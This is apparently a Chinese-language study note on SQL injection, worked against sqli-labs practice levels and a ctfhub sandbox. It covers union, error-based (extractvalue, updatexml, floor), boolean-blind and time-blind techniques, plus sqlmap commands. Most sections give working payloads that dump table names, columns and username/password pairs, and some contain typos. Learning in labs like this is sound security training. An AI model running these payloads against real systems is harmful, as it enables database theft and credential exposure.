SQL注入

1、查找注入点

2、判断是字符型还是数字型注入

3、如果字符型,找到他的闭合方式

4、判断查询列数,group by 或 order by

5、查询回显位置 -1(id要是不存在的数据)

注入分类

  • 按照查询字段

    • 字符型:输入参数为整形
    • 数字型:输入参数为字符型
  • 按照注入方法

    • Union注入
    • 报错注入
    • 布尔注入
    • 时间注入

注入点

注入点就是可以实行注入的地方,通常是一个访问数据库的连接,如本页面的注入点input the ID

Less1

image-20240131141452662

如何判断是字符型还是数字型

实用and 1=1 和and 1=2来判断,数字型一般提交内容为数字,但数字不一定为数字型。

Less-1 提交and 1=1和提交and 1=2,如果是数字型,你1=2就不会正常显示,是字符型则仍能正常显示,这里是字符型

image-20240131142319694

Less-2则是数字型了

image-20240131142425527

也可以直接用运算2-1如果显示的是2的数据则是字符型,注意+号会被认为是空格

image-20240131142754670

闭合方式

一个单引号-‘

两个单引号’’

一个单引号’+)

两个单引号’’+)

或双引号

其他

如何判断闭合方式

例如Less-1输入?id=1’‘’报错为 near ‘’1’’’’ LIMIT 0,1多一个’闭合符为‘’,还有一个–+ 可以把面的内容注释掉

image-20240131151415891

在Less-3中先输入一个’会报错,可以看到有个括号,

image-20240131151501215

这时候可以括号闭合,再注释后面的内容

闭合的作用

image-20240131151703697

Union联合注入

提交:?id=1’ union select database () –+

需要注意列数,可以先group by + 数字判断列数

http://localhost/sqli-labs/Less-1/?id=1' group by 4–+到四就报错了,说明有3列,用二分法就好了,还可以order by + 数字

image-20240131152330244

http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3–+

列数要一致,但有时候不一定都显示,所以我们需要放在可以显示的列,phpmyadmin没用了。。

select * from users where id=’1’ union select 1,2,3;

image-20240131153436408

但页面只显示第一行,所以可以把id设置成-1

image-20240131153600297

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,database()–+

所以可以将3换成database()就可以查到库名了

image-20240131212132753

2也可以用,但1不行,因为1没有回显位,version()可以用来显示版本

image-20240131212742386

union select 1,version(),databse() --+

页面只能显示一个内容,第二句的内容是不显示的,可以把第- -的内容改为数据库不存在的数据,如id=0。

?id=1’ union select 1,2,database() –+

关键数据库、数据表、数据列、group_concat作用

  • 数据库:Information_schema(包含所有mysql数据库的简要信息)
    • 数据表:tables
      • 表名集合表
    • 数据表:columns
      • 列名集合表

但waf对这个有防御,不怎么容易用上

查找表名

走到确定回显位的时候

union select 1,table_name,3 from information_schema.tables --+

image-20240131214415498

但里面数据这么多,这里只显示一个,所以需要限制条件

union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

image-20240131214715798

也可以直接用刚刚得到的数据库名,但函数更好用一些,有的防火墙不一定过滤函数

但表名还是只能显示一个,这是时候就要用到**group_concat()**把多个列名合在一起

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

把table_name作为参数放到group_concat()函数就可以了

image-20240131215006002

查找列名

union select 1,column_name,3 from information_schema.columns --+

同样的思路,最终语句如下

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=databse() and table_namme='你需要的那个表'--+

我这里以user表为例子

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

image-20240131221726938

我们也可以在mysql里直接看

show columns from security.users;

image-20240131222241062

确实是这三个

查找最终目标

查找里面的内容,比如我们要获取user表里的username和password,一样的思路

union select 1,group_concat(username,password),3 from users --+

image-20240131224502718

聚在一起不好看,可以插入”~”区分数据

union select 1,group_concat(username,'~',password),3 from users --+

image-20240131224606034

数字型union注入

总结流程

  1. 确定数字型还是字符型
  2. 使用group by的二分法判断union语句中前一个查询的列数
  3. 优化语句,将id改为一个不存在的数字
  4. 使用select语句,查询靶机数据库库名
  5. 使用select语句,查询靶机所有表名
  6. 使用select语句,查询靶机所有列名
  7. 查询所有用户名密码

拿Less2练练手

一样,判断注入点?id=1有回显

image-20240131225137471

然后id=2-1判断类型

image-20240131225153111

结果和id=1一样,所以是数字型,就不加’了,在最后加个#号注释即可,或–+,查列数id=1 order by 3 –+,和之前一样是三列

image-20240131225347565

判断回显位置,这里就不用1,2,3了,注意id要是-1或者0

id=-1 union select 1,version(),database() --+

image-20240131225633817

知道回显位置后,查表名(库名知道了)

union select 1,group_concat(table_name),3 from information_schema.tables  where table_schema='security' --+

image-20240131225915149

查到表名再查列名,因为回显得是name和password,那就查这个,试试user表

union select 1,group_concat(column_name),3 from information_schema.columns  where table_schema='security' and table_name='users' --+

image-20240131230226025

结果一样的,没什么变化,再查具体信息,这里就不加~了,

union select 1,group_concat(username,password),3 from users --+

image-20240131230324541

差不多就是这样

报错注入

image-20240131232843853

image-20240201151543752

重要的是前三个,后面不怎么见到

通过extractValue()报错注入

image-20240201152540772

这是数据库words中的一个表xml,里面有个doc字段为varchar(50),再插入两个xml代码

insert into xml values('<book><title>A bad boy how to get agirlfriend</title><author><initial>Love</initial><surname>benben</surname></author></book>');
insert into xml values('<book><title>how to become a bad boy</title><author><initial>hualong</initial><surname>Melton</surname>
</author>
</book>');

image-20240201153602460

下面事着查询一下作者是谁,extractValue有两个参数第一个是列名,后一个是路径

select extractValue(doc,'/book/author/surname') from xml;

image-20240201154031658

查书名

select extractValue(doc,'/book/title') from xml;

image-20240201154118824

下面来看看报错,你目录里面错了几个字母,他只是找不到东西,而添加了其它符号,他就会返回错误信息,比如在前面加上~

image-20240201154805130

所以,在报错之前,让报错回显我们想要的信息,比如库名

select extractValue(doc,concat(0x7e,(select database()))) from xml;

image-20240201155248760

拿Less-5试试

union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

image-20240201160031944

id=100’ and 1=extractvalue(1,concat(0x7e,(select database())))–+,这种写法也可以,因为是报错回显,所以不用在意回显位置

要查表名的,则把databas()这个函数换掉即可

extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+

image-20240201162001229

再获取users里的列名

extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

image-20240201162234530

再获取列里需要的具体数据

extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

image-20240201162428529

但数据不全,因为默认只能返回32个字节,所以可以在外面套个substring函数

extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users))) --+

表示从25往后再显示30个字符

image-20240201162621595

uptatexml函数

image-20240201162929770

这个函数是三个参数的,原理和前面一样,也是把路径那个参数更改,第三个参数随便输个‘1’就行,下面拿Less-4来,这个是双引号+括号闭合的,先查查库名

"...?id=1") and 1=extractvalue(1,concat(0x7e,(select database()))) --+

查完库名再查表名,注意一下括号匹配

updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

image-20240201170838879

查完表名查列名

updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+

image-20240201171212580

再查内容

updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from users)),3) --+

image-20240201171319765

一样是32个字节,需要用substring来慢慢看

floor报错

image-20240201172417362

rand()默认是0-1

image-20240201172638092

rand()*2则是生成0-2的随机数,如果在后面加上表,则表中有多少行rand就执行多少次

image-20240201173129418

floor()向下取整,如果是rand()*2则是1或0

image-20240201172711522

ceiling()向上取整,和floor类似

image-20240201172754797

concat_ws()将第2,3两个参数用第一个参数连接起来,可以通过修改参数获得需要的信息

image-20240201172851655

--库名
select concat_ws('~',1,(select database()));

image-20240201173544763

还可以把1换成floor(rand()*2),方便后续统计数量

group by

select concat_ws('~',floor(rand()*2),(select database())) as ben from users group by ben;

image-20240201181152735

count()统计数量

select count(*),concat_ws('~',floor(rand()*2),(select database())) as ben from users group by ben;

image-20240201183140877

数字会变化,但和不会,这个要全0全1

image-20240201183215704

image-20240201183240343

image-20240201194213286

在里面的数字,应该是随机数种子,确定后就不会变了,0是会报错的,有些又不会,就用0把

image-20240201195528155

image-20240201200009652

往group_key写入数据时要重新进行计算,所以可能会导致重复

接下来试一试,基本就是把concat_ws的参数换成之前的代码,下面来看看表名,同样注意括号匹配,只要改concat_ws的参数即可,其它不用动

union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a;--+

还是挺长的image-20240201201242950

最终也是获得了表名,下面来获取列名,同样的操作,替换语句即可

union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as a from information_schema.columns group by a; --+

image-20240201201455769

下面查找字段

union select 1,count(*),concat_ws('-',(select group_concat(username,'-',password) from users),floor(rand(0)*2)) as a from information_schema.tables group by a--+

image-20240201202207721

没显示。。。,去掉group试试

union select 1,count(*),concat_ws('-',(select concat(username,'-',password) from users),floor(rand(0)*2)) as a from information_schema.tables group by a--+

image-20240201202329552

加个限制一下,注意limit0,1指从0开始显示第1行,然后得加在修改得地方,其他地方不动,也可以用where id=1,但有时候不一定又id这列,所以还是用第一种把

union select 1,count(*),concat_ws('-',(select concat(username,'-',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

image-20240201202511088

但这个一行最多也是64个字节,如果太多可以加上substring,当然也是夹在修改得地方

union select 1,count(*),concat_ws('-',substring((select concat(username,'-',password) from users limit 0,1),2,4),floor(rand(0)*2)) as a from information_schema.tables group by a --+

image-20240201202819263

从第二个字符开始,显示4个字符

布尔盲注

image-20240201203121868

image-20240201203311487

关键函数:ascii()

image-20240201203546134

注意数字可以不带引号,字符需要加引号,字符串只显示第一个字符,所以我们需要用到substr函数,substr((),1,1)从第一个字符开始显示一个字符

ascii(substr((select database()),1,1))>=130--+

就是根据数据库名各个字符的ascii值,通过用范围逼近确定是哪个字母,一位一位确定,是不是呢,则通过页面返回的状态来确定,传真和传假的页面是不同的,可以先确定一下。感觉好麻烦,还是用sqlmao把

然后要查表名的话就是替换select database()即可

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100

image-20240201230553330

这里就不要group了,一张表一张表确定比较合理。所以加上limit 0,1。下限确定,再确定上限

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<106 --+

image-20240201230856011

因为知道是e,所以直接试试=把。。。

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

image-20240201231128541

image-20240201231213126

补充sqlmap

查库

python sqlmap.py -u "http://challenge-697209b99487bc8f.sandbox.ctfhub.com:10800?id=1" --dbs  --batch

image-20240301225101809

查表

python sqlmap.py -u "http://challenge-697209b99487bc8f.sandbox.ctfhub.com:10800?id=1" -D sqli --tables  --batch

image-20240301225207030

查列

python sqlmap.py -u "http://challenge-697209b99487bc8f.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns  --batch

image-20240301232736773

查字段

python sqlmap.py -u "http://challenge-697209b99487bc8f.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag -C flag --dump  --batch

image-20240301232805702

时间盲注

关键函数:sleep 、if(condition,true,false)

sleep挺多少秒,后面的if结合上一起看,就是前面的条件为真执行第二个函数,为假则执行最后一个,可以把sleep放在里面

select if(2>1,sleep(3),sleep(2));

使用方式:

select if(ascii(substr((select database())>100,1,1),sleep(0),sleep(3)) --+

注入时建议先写参数

f(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) --+

慢慢查库名,这里直接用=了

if(ascii(substr((select database()),1,1))=115,sleep(0),sleep(3))

可以看到页面很快就刷新了。表名和列名则替换substr的第一个参数即可,和之前一样,记得加上 limit 0,1

if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(0),sleep(3))--+

查列名

if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(0),sleep(3))--+

查字段

if(ascii(substr((select username from users limit 0,1),1,1))=105,sleep(0),sleep(3))--+

image-20240202171741470

文件上传

image-20240202173217774

show variable like '%secure%';

image-20240202173059912

null时不行,空着是都可以

这里拿Less-7来练习